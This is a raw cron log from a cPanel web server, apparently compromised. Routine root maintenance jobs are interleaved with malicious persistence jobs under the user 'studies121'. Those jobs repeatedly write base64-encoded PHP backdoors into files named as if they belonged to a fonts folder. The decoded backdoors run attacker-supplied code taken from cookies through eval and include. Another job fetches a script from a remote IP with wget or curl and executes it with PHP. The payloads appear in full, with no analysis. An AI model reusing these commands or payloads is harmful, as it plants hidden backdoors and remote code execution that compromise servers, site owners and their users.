Sep  4 12:11:01 ip-184-168-122-23 CROND[21302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:11:01 ip-184-168-122-23 CROND[21304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:11:01 ip-184-168-122-23 CROND[21305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:12:01 ip-184-168-122-23 CROND[21435]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:12:01 ip-184-168-122-23 CROND[21436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:12:01 ip-184-168-122-23 CROND[21434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:12:01 ip-184-168-122-23 CROND[21437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:12:01 ip-184-168-122-23 CROND[21433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:13:01 ip-184-168-122-23 CROND[21530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:13:01 ip-184-168-122-23 CROND[21531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:13:01 ip-184-168-122-23 CROND[21534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:13:01 ip-184-168-122-23 CROND[21532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:14:01 ip-184-168-122-23 CROND[21732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:14:01 ip-184-168-122-23 CROND[21735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:14:01 ip-184-168-122-23 CROND[21736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:14:01 ip-184-168-122-23 CROND[21737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:14:01 ip-184-168-122-23 CROND[21734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:15:01 ip-184-168-122-23 CROND[21902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:15:01 ip-184-168-122-23 CROND[21901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:15:01 ip-184-168-122-23 CROND[21904]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  4 12:15:01 ip-184-168-122-23 CROND[21906]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 12:15:01 ip-184-168-122-23 CROND[21911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:15:01 ip-184-168-122-23 CROND[21910]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:15:01 ip-184-168-122-23 CROND[21907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:15:01 ip-184-168-122-23 CROND[21905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:16:01 ip-184-168-122-23 CROND[22182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:16:01 ip-184-168-122-23 CROND[22180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:16:01 ip-184-168-122-23 CROND[22178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:16:01 ip-184-168-122-23 CROND[22181]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 12:16:01 ip-184-168-122-23 CROND[22179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:16:01 ip-184-168-122-23 CROND[22183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:17:01 ip-184-168-122-23 CROND[22349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:17:01 ip-184-168-122-23 CROND[22351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:17:01 ip-184-168-122-23 CROND[22350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:17:01 ip-184-168-122-23 CROND[22352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:18:01 ip-184-168-122-23 CROND[22647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:18:01 ip-184-168-122-23 CROND[22651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:18:01 ip-184-168-122-23 CROND[22652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:18:01 ip-184-168-122-23 CROND[22654]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:18:01 ip-184-168-122-23 CROND[22653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:19:02 ip-184-168-122-23 CROND[22931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:19:02 ip-184-168-122-23 CROND[22930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:19:02 ip-184-168-122-23 CROND[22933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:19:02 ip-184-168-122-23 CROND[22932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:20:01 ip-184-168-122-23 CROND[23136]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 12:20:01 ip-184-168-122-23 CROND[23139]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:20:01 ip-184-168-122-23 CROND[23142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:20:01 ip-184-168-122-23 CROND[23141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:20:01 ip-184-168-122-23 CROND[23144]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 12:20:01 ip-184-168-122-23 CROND[23147]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:20:01 ip-184-168-122-23 CROND[23145]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:20:01 ip-184-168-122-23 CROND[23143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:20:01 ip-184-168-122-23 CROND[23152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:21:01 ip-184-168-122-23 CROND[23325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:21:01 ip-184-168-122-23 CROND[23326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:21:01 ip-184-168-122-23 CROND[23327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:21:01 ip-184-168-122-23 CROND[23328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:22:01 ip-184-168-122-23 CROND[23555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:22:01 ip-184-168-122-23 CROND[23558]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:22:01 ip-184-168-122-23 CROND[23559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:22:01 ip-184-168-122-23 CROND[23560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:22:01 ip-184-168-122-23 CROND[23557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:23:01 ip-184-168-122-23 CROND[23673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:23:01 ip-184-168-122-23 CROND[23674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
